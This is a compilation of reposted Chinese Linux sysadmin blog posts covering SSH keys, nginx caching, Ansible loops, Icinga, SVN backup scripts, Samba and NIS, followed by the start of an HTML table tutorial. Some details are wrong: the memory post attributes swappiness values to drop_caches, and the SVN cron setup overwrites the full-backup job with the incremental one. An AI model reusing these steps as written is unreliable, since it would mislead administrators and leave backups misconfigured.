Ubuntu下SSH免密码登录步骤: 被登录端: # mkdir /root/.ssh 登录端: # ssh-keygen 路径为默认 密码可为空 # mv ~/.ssh/id_rsa.pub ~/.ssh/authorized_keys # scp ~/.ssh/authorized_keys root@被登录端ip:/root/.ssh/ 输入被登录端root密码 # ssh root@被登录端ip (即可直接登录) 如果需要多个服务器如此操作只需要将生成的id_rsa.pub内容拷贝进被登录端的authorized_keys文件里即可 本文转自linux博客51CTO博客,原文链接http://blog.51cto.com/yangzhiming/1387796如需转载请自行联系原作者 yangzhimingg
Ubuntu被远程后Num Lock键不停闪临时解决办法:方法一:在远程之前先让其关掉自己的Num Lock键方法二:关闭Num Lock键点击System Settings-Keyboard Layout-Options-Use keyboard LED to show alternative layout-选中Num Lock-Close 本文转自linuxb博客51CTO博客,原文链接http://blog.51cto.com/yangzhiming/1413753如需转载请自行联系原作者 yangzhimingg
目的:缓存nginx服务器的静态文件。如css,js,htm,html,jpg,gif,png,flv,swf,这些文件都不是经常更新。便于缓存以减轻服务器的压力。实现:nginx proxy_cache可以将用户的请缓存到本地一个目录,当下一个请求时可以直接调取缓存文件,就不用去后端服务器去取文件了。配置:打开配置文件/usr/local/nginx/conf/nginx.conf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 user www www; worker_processes 2; error_log /var/log/nginx_error.log crit; worker_rlimit_nofile 65535; events { use epoll; worker_connections 65535; } http { include mime.types; default_type application/octet-stream; server_names_hash_bucket_size 128; client_header_buffer_size 32k; large_client_header_buffers 4 32k; client_max_body_size 8m; sendfile on; tcp_nopush on; keepalive_timeout 0; tcp_nodelay on; fastcgi_connect_timeout 300; fastcgi_send_timeout 300; fastcgi_read_timeout 300; fastcgi_buffer_size 64k; fastcgi_buffers 4 64k; fastcgi_busy_buffers_size 128k; fastcgi_temp_file_write_size 128k; ##cache## proxy_connect_timeout 5; proxy_read_timeout 60; proxy_send_timeout 5; proxy_buffer_size 16k; proxy_buffers 4 64k; proxy_busy_buffers_size 128k; proxy_temp_file_write_size 128k; proxy_temp_path /home/temp_dir; proxy_cache_path /home/cache levels=1:2 keys_zone=cache_one:200m inactive=1d max_size=30g; ##end## gzip on; gzip_min_length 1k; gzip_buffers 4 8k; gzip_http_version 1.1; gzip_types text/plain application/x-javascript text/css application/xml; gzip_disable "MSIE [1-6]\."; log_format access '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" $http_x_forwarded_for'; upstream appserver { server 192.168.1.251; } server { listen 80 default; server_name www.gangpao.com; location ~ .*\.(gif|jpg|png|htm|html|css|js|flv|ico|swf)(.*) { proxy_pass http://appserver; proxy_redirect off; proxy_set_header Host $host; proxy_cache cache_one; proxy_cache_valid 200 302 1h; proxy_cache_valid 301 1d; proxy_cache_valid any 1m; expires 30d; } location ~ .*\.(php)(.*){ proxy_pass http://appserver; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } access_log /usr/local/nginx/logs/www.gangpao.com.log; } } 红色部分是配置缓存的参数。说明: 1、http段设置。proxy_temp_path /home/temp_dir;设置临时目录 proxy_cache_path /home/cache levels=1:2 keys_zone=cache_one:200m inactive=1d max_size=30g;设置缓存目录为二级目录,共享内存区大小,非活动时间,最大容量,注意临时目录要跟缓存目录在同一个分区。2、server段设置 请求静态文件设置。 proxy_cache cache_one;设置缓存共享内存区块,也就是keys_zone名称。 proxy_cache_valid 200 302 1h;设置http状态码为200,302缓存时间为1小时。 expires 30d;设置失期时间,为30天 请求动态文件设置。 proxy_pass http://appserver;不进行缓存,直接转到后端服务器。测试:当客户端发起http请求时在服务器上会产一个缓存文件如 /home/cache/0/b9/8bd841b1c44ee5b91457eb561e44eb90 OK 转自:http://linux008.blog.51cto.com/2837805/547236/ 本文转自奔跑在路上博客51CTO博客,原文链接http://blog.51cto.com/qiangsh/1883101如需转载请自行联系原作者 qianghong000
ansible-playbook的循环(Loops) 1.标准的Loops:也是最常用的一种循环 例:当需要安装10个软件包时,不用写10次任务,只需要写一次然后进行循环即可 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #注:已经安装的软件系统即不在安装 [root@nfs-server playbook]# cat yum_list.yml --- - hosts: webservers remote_user: root gather_facts: False tasks: - name: "需要安装的软件清单" yum: name={{ item }} state=present with_items: - lrzsz - vim - sysstat [root@nfs-server playbook]# ansible-playbook yum_list.yml PLAY [webservers] ************************************************************************************************************************************** TASK [需要安装的软件清单] *************************************************************************************************************************************** changed: [192.168.2.101] => (item=[u'lrzsz', u'vim', u'sysstat']) changed: [192.168.2.111] => (item=[u'lrzsz', u'vim', u'sysstat']) PLAY RECAP ********************************************************************************************************************************************* 192.168.2.101 : ok=1 changed=1 unreachable=0 failed=0 192.168.2.111 : ok=1 changed=1 unreachable=0 failed=0 2.字典格式的循环:with_items 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 #写法一: [root@nfs-server playbook]# cat dict_list.yml --- - hosts: webservers remote_user: root gather_facts: False tasks: - name: "字典格式的循环" debug: msg="name ---->{{ item.name }},age---->{{ item.age }}" with_items: - {name: "Liu Zhengwei",age: 28} - {name: "Jia Dongli",age: 25} #写法二: [root@nfs-server playbook]# cat dict_list.yml --- - hosts: webservers remote_user: root gather_facts: False tasks: - name: "字典格式的循环" debug: msg="name ---->{{ item.name }},age---->{{ item.age }}" with_items: - name: "Liu Zhengwei" age: 28 - name: "Jia Dongli" age: 25 #注:以上两种写法效果是一样的 [root@nfs-server playbook]# ansible-playbook dict_list.yml PLAY [webservers] ************************************************************************************************************************************** TASK [字典格式的循环] ***************************************************************************************************************************************** ok: [192.168.2.101] => (item={u'age': 28, u'name': u'Liu Zhengwei'}) => { "item": { "age": 28, "name": "Liu Zhengwei" }, "msg": "name ---->Liu Zhengwei,age---->28" } ok: [192.168.2.101] => (item={u'age': 25, u'name': u'Jia Dongli'}) => { "item": { "age": 25, "name": "Jia Dongli" }, "msg": "name ---->Jia Dongli,age---->25" } ok: [192.168.2.111] => (item={u'age': 28, u'name': u'Liu Zhengwei'}) => { "item": { "age": 28, "name": "Liu Zhengwei" }, "msg": "name ---->Liu Zhengwei,age---->28" } ok: [192.168.2.111] => (item={u'age': 25, u'name': u'Jia Dongli'}) => { "item": { "age": 25, "name": "Jia Dongli" }, "msg": "name ---->Jia Dongli,age---->25" } PLAY RECAP ********************************************************************************************************************************************* 192.168.2.101 : ok=1 changed=0 unreachable=0 failed=0 192.168.2.111 : ok=1 changed=0 unreachable=0 failed=0 3.嵌套Loops(列表格式的循环,用于1对多或者多对多关系时)--> with_nested 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 [root@nfs-server playbook]# cat netsted_list.yml --- - hosts: webservers remote_user: root gather_facts: False tasks: - name: "实现1对多关系的循环" debug: msg="name--->{{ item[0] }},value--->{{ item[1] }}" with_nested: - ['A'] - ['a','b','c' ] [root@nfs-server playbook]# ansible-playbook netsted_list.yml -l 192.168.2.101 PLAY [webservers] ************************************************************************************************************************************** TASK [实现1对多关系的循环] ************************************************************************************************************************************** ok: [192.168.2.101] => (item=[u'A', u'a']) => { "item": [ "A", "a" ], "msg": "name--->A,value--->a" } ok: [192.168.2.101] => (item=[u'A', u'b']) => { "item": [ "A", "b" ], "msg": "name--->A,value--->b" } ok: [192.168.2.101] => (item=[u'A', u'c']) => { "item": [ "A", "c" ], "msg": "name--->A,value--->c" } PLAY RECAP ********************************************************************************************************************************************* 192.168.2.101 : ok=1 changed=0 unreachable=0 failed=0 4.散列loops:with_dict(支持更丰富的数据结构) 注:with_dict的写法在新版本中进行了改变,必须要写成字典的形式,跟我下面写的格式一样 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 [root@nfs-server playbook]# cat with_dict.yml --- - hosts: webservers gather_facts: False remote_user: root vars: user: shencan: name: shencan shell: bash ruifengyun: name: ruifengyun shell: zsh tasks: - name: debug loops debug: "msg=name--->{{ item.key }} value--->{{ item.value.name }} shell--->{{ item.value.shell }}" with_dict: "{{ user }}" [root@nfs-server playbook]# ansible-playbook with_dict.yml -l 192.168.2.101 PLAY [webservers] ************************************************************************************************************************************** TASK [debug loops] ************************************************************************************************************************************* ok: [192.168.2.101] => (item={'key': u'ruifengyun', 'value': {u'shell': u'zsh', u'name': u'ruifengyun'}}) => { "item": { "key": "ruifengyun", "value": { "name": "ruifengyun", "shell": "zsh" } }, "msg": "name--->ruifengyun" } ok: [192.168.2.101] => (item={'key': u'shencan', 'value': {u'shell': u'bash', u'name': u'shencan'}}) => { "item": { "key": "shencan", "value": { "name": "shencan", "shell": "bash" } }, "msg": "name--->shencan" } PLAY RECAP ********************************************************************************************************************************************* 192.168.2.101 : ok=1 changed=0 unreachable=0 failed=0 5.文件匹配loops:with_fileglob 在工作中,我们经常遇到需要针对一个目录下指定格式的文件进行处理,这个时候直接引用with_fileglob循环去匹配我们需要处理的文件即可 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 [root@nfs-server playbook]# cat with_fileglob.yml --- - hosts: webservers remote_user: root gather_facts: False tasks: - name: debug loops debug: "msg=files-->{{ item }}" with_fileglob: - /var/log/nginx/*.gz [root@nfs-server playbook]# ansible-playbook with_fileglob.yml PLAY [webservers] ************************************************************************************************************************************** TASK [debug loops] ************************************************************************************************************************************* ok: [192.168.2.101] => (item=/var/log/nginx/host.access.log-20170816.gz) => { "item": "/var/log/nginx/host.access.log-20170816.gz", "msg": "files-->/var/log/nginx/host.access.log-20170816.gz" } ok: [192.168.2.101] => (item=/var/log/nginx/error.log-20170815.gz) => { "item": "/var/log/nginx/error.log-20170815.gz", "msg": "files-->/var/log/nginx/error.log-20170815.gz" } ok: [192.168.2.101] => (item=/var/log/nginx/error.log-20170823.gz) => { "item": "/var/log/nginx/error.log-20170823.gz", "msg": "files-->/var/log/nginx/error.log-20170823.gz" } ok: [192.168.2.111] => (item=/var/log/nginx/access.log-20170817.gz) => { "item": "/var/log/nginx/access.log-20170817.gz", "msg": "files-->/var/log/nginx/access.log-20170817.gz" } ok: [192.168.2.111] => (item=/var/log/nginx/error.log-20170825.gz) => { "item": "/var/log/nginx/error.log-20170825.gz", "msg": "files-->/var/log/nginx/error.log-20170825.gz" } PLAY RECAP ********************************************************************************************************************************************* 192.168.2.101 : ok=1 changed=0 unreachable=0 failed=0 192.168.2.111 : ok=1 changed=0 unreachable=0 failed=0 6.随机选择loops:with_random_choice(会从给定的值中随便选取一个显示) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 [root@nfs-server playbook]# cat with_random_choice.yml --- - hosts: webservers remote_user: root gather_facts: False tasks: - name: debug loops debug: 'msg="name --> {{ item }}"' with_random_choice: - "Beijing" - "Shanghai" - "TianJin" [root@nfs-server playbook]# ansible-playbook with_random_choice.yml PLAY [webservers] ************************************************************************************************************************************** TASK [debug loops] ************************************************************************************************************************************* ok: [192.168.2.101] => (item=Beijing) => { "item": "Beijing", "msg": "name --> Beijing" } ok: [192.168.2.111] => (item=Shanghai) => { "item": "Shanghai", "msg": "name --> Shanghai" } PLAY RECAP ********************************************************************************************************************************************* 192.168.2.101 : ok=1 changed=0 unreachable=0 failed=0 192.168.2.111 : ok=1 changed=0 unreachable=0 failed=0 7.条件判断loops 在某些情况下,我们需要检测某个task是否达到了预想的状态,如果没有达到,就需要退出整个剧本。 until:检测条件 retries:检测次数 delay:每次检测的间隔时长 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 [root@nfs-server playbook]# cat if_else.yml --- - hosts: webservers remote_user: root gather_facts: False tasks: - name: "对task的执行结果进行判断" shell: cat /etc/fstab register: info until: info.stdout.startswith("sysfs") retries: 5 delay: 5 [root@nfs-server playbook]# ansible-playbook if_else.yml PLAY [webservers] ************************************************************************************************************************************** TASK [对task的执行结果进行判断] ********************************************************************************************************************************** FAILED - RETRYING: 对task的执行结果进行判断 (5 retries left). FAILED - RETRYING: 对task的执行结果进行判断 (5 retries left). FAILED - RETRYING: 对task的执行结果进行判断 (4 retries left). FAILED - RETRYING: 对task的执行结果进行判断 (4 retries left). FAILED - RETRYING: 对task的执行结果进行判断 (3 retries left). FAILED - RETRYING: 对task的执行结果进行判断 (3 retries left). FAILED - RETRYING: 对task的执行结果进行判断 (2 retries left). FAILED - RETRYING: 对task的执行结果进行判断 (2 retries left). FAILED - RETRYING: 对task的执行结果进行判断 (1 retries left). FAILED - RETRYING: 对task的执行结果进行判断 (1 retries left). fatal: [192.168.2.111]: FAILED! => {"attempts": 5, "changed": true, "cmd": "cat /etc/fstab", "delta": "0:00:00.003310", "end": "2017-09-04 01:09:18.651001", "failed": true, "rc": 0, "start": "2017-09-04 01:09:18.647691", "stderr": "", "stderr_lines": [], "stdout": "\n#\n# /etc/fstab\n# Created by anaconda on Sun Jun 26 03:08:48 2016\n#\n# Accessible filesystems, by reference, are maintained under '/dev/disk'\n# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info\n#\n/dev/mapper/vg_test2-lv_root / ext4 defaults 1 1\nUUID=8699d6c2-883b-41a0-8282-5be27641ee02 /boot ext4 defaults 1 2\n/dev/mapper/vg_test2-lv_swap swap swap defaults 0 0\ntmpfs /dev/shm tmpfs defaults 0 0\ndevpts /dev/pts devpts gid=5,mode=620 0 0\nsysfs /sys sysfs defaults 0 0\nproc /proc proc defaults 0 0\n/dev/cdrom /media/cdrom iso9660 defaults 0 0", "stdout_lines": ["", "#", "# /etc/fstab", "# Created by anaconda on Sun Jun 26 03:08:48 2016", "#", "# Accessible filesystems, by reference, are maintained under '/dev/disk'", "# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info", "#", "/dev/mapper/vg_test2-lv_root / ext4 defaults 1 1", "UUID=8699d6c2-883b-41a0-8282-5be27641ee02 /boot ext4 defaults 1 2", "/dev/mapper/vg_test2-lv_swap swap swap defaults 0 0", "tmpfs /dev/shm tmpfs defaults 0 0", "devpts /dev/pts devpts gid=5,mode=620 0 0", "sysfs /sys sysfs defaults 0 0", "proc /proc proc defaults 0 0", "/dev/cdrom /media/cdrom iso9660 defaults 0 0"]} fatal: [192.168.2.101]: FAILED! => {"attempts": 5, "changed": true, "cmd": "cat /etc/fstab", "delta": "0:00:00.002489", "end": "2017-09-04 01:11:02.560507", "failed": true, "rc": 0, "start": "2017-09-04 01:11:02.558018", "stderr": "", "stderr_lines": [], "stdout": "\n#\n# /etc/fstab\n# Created by anaconda on Sun Jun 26 03:11:47 2016\n#\n# Accessible filesystems, by reference, are maintained under '/dev/disk'\n# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info\n#\n/dev/mapper/vg_test3-lv_root / ext4 defaults 1 1\nUUID=e48217af-0ad9-45be-aa68-b0b1bbc88c97 /boot ext4 defaults 1 2\n/dev/mapper/vg_test3-lv_swap swap swap defaults 0 0\ntmpfs /dev/shm tmpfs defaults 0 0\ndevpts /dev/pts devpts gid=5,mode=620 0 0\nsysfs /sys sysfs defaults 0 0\nproc /proc proc defaults 0 0\n/dev/cdrom /media/cdrom iso9660 defaults 0 0", "stdout_lines": ["", "#", "# /etc/fstab", "# Created by anaconda on Sun Jun 26 03:11:47 2016", "#", "# Accessible filesystems, by reference, are maintained under '/dev/disk'", "# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info", "#", "/dev/mapper/vg_test3-lv_root / ext4 defaults 1 1", "UUID=e48217af-0ad9-45be-aa68-b0b1bbc88c97 /boot ext4 defaults 1 2", "/dev/mapper/vg_test3-lv_swap swap swap defaults 0 0", "tmpfs /dev/shm tmpfs defaults 0 0", "devpts /dev/pts devpts gid=5,mode=620 0 0", "sysfs /sys sysfs defaults 0 0", "proc /proc proc defaults 0 0", "/dev/cdrom /media/cdrom iso9660 defaults 0 0"]} to retry, use: --limit @/ansible/playbook/if_else.retry PLAY RECAP ********************************************************************************************************************************************* 192.168.2.101 : ok=0 changed=0 unreachable=0 failed=1 192.168.2.111 : ok=0 changed=0 unreachable=0 failed=1 8.register同时接收多个变量进行传递 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #注:接收到的多个值可以用jinja的for循环方式显示每个值 [root@nfs-server playbook]# cat register_vars.yml --- - hosts: webservers remote_user: root gather_facts: False tasks: - name: "register接受多个值测试" shell: "{{ item }}" with_items: - hostname - uname register: ret - name: "显示接收到的值" debug: 'msg="{% for i in ret.results %} {{ i.stdout }} {% endfor%}"' [root@nfs-server playbook]# ansible-playbook register_vars.yml PLAY [webservers] ************************************************************************************************************************************** TASK [register接受多个值测试] ********************************************************************************************************************************* changed: [192.168.2.101] => (item=hostname) changed: [192.168.2.111] => (item=hostname) changed: [192.168.2.101] => (item=uname) changed: [192.168.2.111] => (item=uname) TASK [显示接收到的值] ***************************************************************************************************************************************** ok: [192.168.2.101] => { "msg": " lamp1 Linux " } ok: [192.168.2.111] => { "msg": " lamp2 Linux " } PLAY RECAP ********************************************************************************************************************************************* 192.168.2.101 : ok=2 changed=1 unreachable=0 failed=0 192.168.2.111 : ok=2 changed=1 unreachable=0 failed=0 本文转自激情燃烧的岁月博客51CTO博客,原文链接http://blog.51cto.com/liuzhengwei521/1962259如需转载请自行联系原作者 weilovepan520
在工作中经常遇到在一个文件中记录了许多文件名或者图片名,在指定的目录下对需要找到此文件中所有文件,但指定目录下并没有文件中记录的所有名字,此时需要在指定目录下找到此文件中记录了的所有文件,如果不存在则对此文件进行记录! 脚本实例: 在pic.txt记录了所有需要找到的文件名 1 2 3 4 5 6 7 8 9 10 [root@shvpicserver tmp]# cat find_pic.sh #!/bin/bash cat pic.txt | while read line do if [ -f /usr/local/war/static/ftp_product_img/$line ];then find /usr/local/war/static/ftp_product_img/ -name $line -exec cp {} /tmp/pic \; else echo "$line not_exist!" >> /tmp/find_pic.log fi done 本文转自激情燃烧的岁月博客51CTO博客,原文链接http://blog.51cto.com/liuzhengwei521/1964273如需转载请自行联系原作者 weilovepan520
Ubuntu下icinga安装步骤: http://sourceforge.net/projects/icinga-cn/files/icinga-cn/icinga-cn-1.11/icinga-cn-1.11.5.tar.gz/download http://nagios-plugins.org/download/nagios-plugins-2.0.3.tar.gz $ sudo useradd icinga $ sudo apt-get install libdbi-dev $ sudo apt-get install apache2 $ tar zxfv icinga-cn-1.11.5.tar.gz $ cd icinga-cn-1.11.5 $ ./configure --prefix=/usr/local/icinga $ make all $ sudo make install $ sudo make install-init $ sudo make install-commandmode $ sudo make install-idoutils $ sudo make install-config $ sudo make install-webconf $ sudo make install-webconf-auth $ cd $ tar zxfv nagios-plugins-2.0.3.tar.gz $ cd nagios-plugins-2.0.3 $ ./configure --prefix=/usr/local/icinga $ make $ sudo make install 检查配置是否有误 $ sudo /usr/local/icinga/bin/icinga -v /usr/local/icinga/etc/icinga.cfg 启动icinga: $ sudo service icinga start 开机启动icinga: $ sudo vi /etc/rc.local (在exit 0前一行) sudo service icinga start :wq icinga主要文件:/usr/local/icinga/etc/icinga.cfg及/objects下文件 修改httpd的配置文件/etc/apache2/site-available/default (在中间添加) ScriptAlias /icinga/cgi-bin "/usr/local/icinga/sbin" <Directory "/usr/local/icinga/sbin"> AuthType Basic Options ExecCGI AllowOverride None Order allow,deny Allow from all AuthName "Icinga Access" AuthUserFile /usr/local/icinga/etc/htpasswd.users Require valid-user </Directory> :wq $ sudo ln -s /usr/local/icinga/share /var/www/icinga $ sudo htpasswd -c /usr/local/icinga/etc/htpasswd.users icingaadmin 输入密码(如:123456) 后面修改密码命令: $ sudo htpasswd /usr/local/icinga/etc/htpasswd.users icingaadmin 重启apache2: $ sudo service apache2 restart 访问:http://ip/icinga (输入用户名icinga及密码) 本文转自linux博客51CTO博客,原文链接http://blog.51cto.com/yangzhiming/1536493如需转载请自行联系原作者 yangzhimingg
Starting nagios:CONFIG ERROR! Start aborted. Check your Nagios configuration. nagios启动报错,这种报错看不出原因的,要看到报错原因需做如下操作: # vi /etc/init.d/nagios $NagiosBin -v $NagiosCfgFile;(原为$NagiosBin -v $NagiosCfgFile > /dev/null 2>&1;) :wq 本文转自linux博客51CTO博客,原文链接http://blog.51cto.com/yangzhiming/840987如需转载请自行联系原作者 yangzhimingg
随着业务的拓展和开发的深入,svn开发库的体积越来越庞大。原先每天凌晨对开发库进行全库备份的做法满足不了新的需求,于是考虑到对svn库做增量备份。基于时间和精力有限的前提下,我们首先考虑使用shell脚本实现,采用最土的svnadmin dump方式。花最少的时间,达到最想要的结果,无需大段华丽的代码,简单有效即可。 首先是全库备份脚本,计划每个月1号的凌晨1点运行一次,凌晨1点程序猿更新代码的几率大致为零。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [root@dev ~]# echo '00 01 1 * * /usr/local/scripts/incr0_svn.sh' > /var/spool/cron/root [root@dev ~]# cat /usr/local/scripts/incr0_svn.sh #!/bin/sh DATE=$(date +%Y%m%d:%H:%M:%S) #定义时间变量,用于文件名后缀 SVN_DIR=/svn_data/jsb #定义SVN库目录变量 SVN_BAK_DIR=/svn_data/backup/ #定义备份文件存放目录变量 echo '0' > /tmp/jsb_svn_id #初始化版本号,全库备份一定是从0版本号开始 NUM1=$(cat /tmp/jsb_svn_id) #取初始化版本号 NUM2=$(svnlook youngest $SVN_DIR) #取当前最新的版本号 #开始备份 svnadmin dump $SVN_DIR -r $NUM1:$NUM2 --incremental > $SVN_BAK_DIR/jsb_bak_$DATE #判断备份是否成功,若成功,则记录当前最新的版本号到临时文件中,用于下次增量备份使用 if [ $? -eq 0 ]; then echo $NUM2 > /tmp/jsb_svn_id else echo "backup fail...." fi 其次是增量备份脚本,计划每天凌晨2点运行一次 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [root@dev ~]# echo '00 02 * * * /usr/local/scripts/incr1_svn.sh' > /var/spool/cron/root [root@dev ~]# cat /usr/local/scripts/incr1_svn.sh #!/bin/sh DATE=$(date +%Y%m%d:%H:%M:%S) #定义时间变量,用于文件名后缀 SVN_DIR=/svn_data/jsb #定义SVN库目录变量 SVN_BAK_DIR=/svn_data/backup/ #定义备份文件存放目录变量 NUM1=$(cat /tmp/jsb_svn_id) #取初始化版本号 NUM2=$(svnlook youngest $SVN_DIR) #取当前最新的版本号 #开始备份 svnadmin dump $SVN_DIR -r $NUM1:$NUM2 --incremental > $SVN_BAK_DIR/jsb_bak_$DATE #判断备份是否成功,若成功,则记录当前最新的版本号到临时文件中,用于下次增量备份使用 if [ $? -eq 0 ]; then echo $NUM2 > /tmp/jsb_svn_id else echo "backup fail...." fi 本文转自斩月博客51CTO博客,原文链接http://blog.51cto.com/ylw6006/1414267如需转载请自行联系原作者 ylw6006
制作U盘安装Ubuntu步骤:在网上下载UltraISO(破不破解无所谓,试用也可)安装UltraISO(步骤略,下一步即可)插上U盘-打开UltraISO-点击文件-打开-选中Ubuntu iso文件-点击启动-写入硬盘映像-点击便捷启动-写入新的驱动器引导扇区-Syslinux-写入-结束后即可使用 本文转自linux博客51CTO博客,原文链接http://blog.51cto.com/yangzhiming/1557833如需转载请自行联系原作者 yangzhimingg
Ubuntu 12.04 mysql中文乱码解决办法$ sudo vi /etc/mysql/my.cnf (在[mysqld]下添加)按a或i进入编译模式character-set-server=utf8collation-server=utf8_general_ci按Esc键退出编译模式:wq (保存并退出)$ sudo service mysql restart注:如果已存在数据库,只需将有问题表的字段的结构改为utf8_swedisk_ci(默认为latin1_swedish_ci),latin1_bin也改成utf8_bin(建议所有表格都改下),可借助phpmyadmin工具 本文转自linux博客51CTO博客,原文链接http://blog.51cto.com/yangzhiming/1579118如需转载请自行联系原作者 yangzhimingg
Ubuntu ssh频繁断开解决办法$ ssh -o ServerAliveInterval=60 user@server可在~/.bashrc里定义别名$ vi ~/.bashrc按a或i进入编辑模式alias ssh='ssh -o ServerAliveInterval=60'按Esc键退出编辑模式:wq (保存并退出) 本文转自linux博客51CTO博客,原文链接http://blog.51cto.com/yangzhiming/1579391如需转载请自行联系原作者 yangzhimingg
Ubuntu清理内存办法 清空pagecache: # echo 1 > /proc/sys/vm/drop_caches 清空dentries和indoes # echo 2 > /proc/sys/vm/drop_caches 清空所有缓存(pagecache、dentries和indoes) # echo 3 > /proc/sys/vm/drop_caches (或 sysctl -w vm.drop_caches=3) 调整内存和swap优先级 # cat /proc/sys/vm/drop_caches (默认为60,100为最高,0为不用) 本文转自linux博客51CTO博客,原文链接http://blog.51cto.com/yangzhiming/1585383如需转载请自行联系原作者 yangzhimingg
redhat nis client设置: 安装ypbind步骤略(一般iso光盘里都有) # vi /etc/yp.conf 按a或i进入编辑模式 domain ming server 10.0.1.3 按Esc键退出编辑模式 :wq # vi /etc/nsswitch.conf 按a或i进入编辑模式 passwd: files nis (默认为passwd: files) shadow: files nis (默认为shadow: files) group: files nis (默认为group: files) 按Esc键退出编辑模式 :wq # service ypbind restart # su zhiming (zhiming为nis中账号) 本文转自linux博客51CTO博客,原文链接http://blog.51cto.com/yangzhiming/1587525如需转载请自行联系原作者 yangzhimingg
samba配置文件安装略# vi /etc/samba/smb.conf按a进入编辑模式[global] workgroup = MYGROUP server string = localhost security = share (如为user则打开就需要输用户名、密码,如有可匿名访问的共享可设为share) passdb backend = tdbsam log file = /var/log/samba/log.smbd[ming] path = /home/ming valid users = ming writable = yes[share] path = /home/share guest ok = yes按Esc键退出编辑模式 :wq (保存并退出)# smbpasswd -a ming 输入两次密码# service smbd restart测试# smbclient -L //10.0.1.3 -U ming说明:1、samba中的账号必须本地存在(nis账号也可,需本地可登录)2、写权限需注意账号本身是否有写权限,及smb.conf是否开了写权限3、 如需可匿名访问添加“guest ok = yes”即可 本文转自linux博客51CTO博客,原文链接http://blog.51cto.com/yangzhiming/1591742如需转载请自行联系原作者 yangzhimingg
这节课我们来学习HTML中最重要的知识点表格的制作,之所以说它重要主要是因为在制作网页时,为了以一定的形式将网页中的信息组织起来,同时使网页便于阅读和页面美观,需要对页面的版式进行设计或者进行页面布局。在页面制作过程中要确定一个页面的布局,表格能将网页分成多个任意的矩形区域,表格在网页制作中是最常用的一种简单布局工具。这几课我们就来从以下几个方面学习表格: 表格的基本形式 有通栏的表格 表的大小,边框宽度,表格间距 表格中文本的输出 表格在文件中的位置定义 表格颜色 首先我们来学习一下插入表格,一个表格由<table>标记开始,</table>结束,这是在网页上插入一个表格,表格也是有行和列的,它的行是用<tr></tr>这对标记,没对标记代表一行,行中出现的单元标记就嵌套在<tr>标记中间,单元格的标记有两种<td>对和<th>对他们有什么区别呢?我们来看下面的例子: <table Border=1 align="center" width=300> <caption>学员明细表</caption> <Tr> <Th>姓名</Th> <Th>国籍</Th> <Th>口头禅</Th> </Tr><Tr align=right> <Td>小新</Td> <Td>日本</Td> <Td>老婆</Td> </Tr> </table> 学员明细表 姓名 国籍 口头禅 小新 日本 老婆 现在我们看这个表格,首先在table标记中出现了一个属性border=1,这是指边框的粗细,表格的边框还有其他是属性我们一会再讲,在table标记内部第一个出现的嵌套标记是表格的标题标记<caption></caption>,我们可以在这对标记中间写表格的标题。我们主要来看一下行和单元格的使用,这个表格有两对tr标记,说明这是一个两行的表格,第一行有三对th标记,标记对中间的文字是显示在网页中的表格第一行中每个单元格的文字,第二行也有三对td标记,标记对中间的文字是显示在网页中的表格第二行中每个单元格的文字 ,但是出显示的效果来看,第一行的文字是自动加粗居中显示的,而第两行的文字是默认居左对齐的,这就是区别,所以我一般习惯称<th></th>这对标记叫做表头标记。 如果我们现在想再增加一行,内容是白云,铁岭,你太有才了,只需要在</table>标记前加入如下代码,就会增加第3行。 <Tr> <Td>白云</Td> <Td align=right>铁岭</Td> <Td>你太有才了</Td> </Tr> 学员明细表 姓名 国籍 口头禅 小新 日本 老婆 白云 铁岭 你太有才了 我们来看一下水平对齐方式的align属性,不用多说了指的是表格在页面中的水平位置,有居中、居左、居右三种格式,我们可以在table中规定align=center,效果是表格出现在网页的中间,接着我们看第二行,在<tr>标记中规定了整行的对齐方式是局单元格的右边框,第三行中第二个单元格特殊规定了是居右,其他两个还是默认的居左效果,这样我们可以根据自己想要的文字水平对齐方式来自己定义。除了在水平方向上我们可以定义表格属性外,我们还可以定义行内容垂直对齐方式Valign=#,常用的有4中对齐方式:top:内容顶端对齐;middle:内容居中对齐;bottom:内容底端对齐;baseline:内容基线对齐。我们可以将垂直对齐方式如Valign=top,放入tr标记中,规定此行内容局顶端,也可以放入单个的td标记中,规定此单元格的也是内容局顶端。 接着我们来学习如何设置类似于excel和word那样合并单元格呢?HTML中也提供了设置跨行和跨列的属性,分别是rowspan和colspan。有横向通栏的表格用<td colspan=#>属性说明 ,有纵向通栏的表格用<td rowspan=#>属性说明,#代表通栏占据的网格数。看下面的例子: <table Border=1 align="center" width=300> <tr> <td colspan=4>学员明细表</td> </tr> <Tr> <Th>班级</Th> 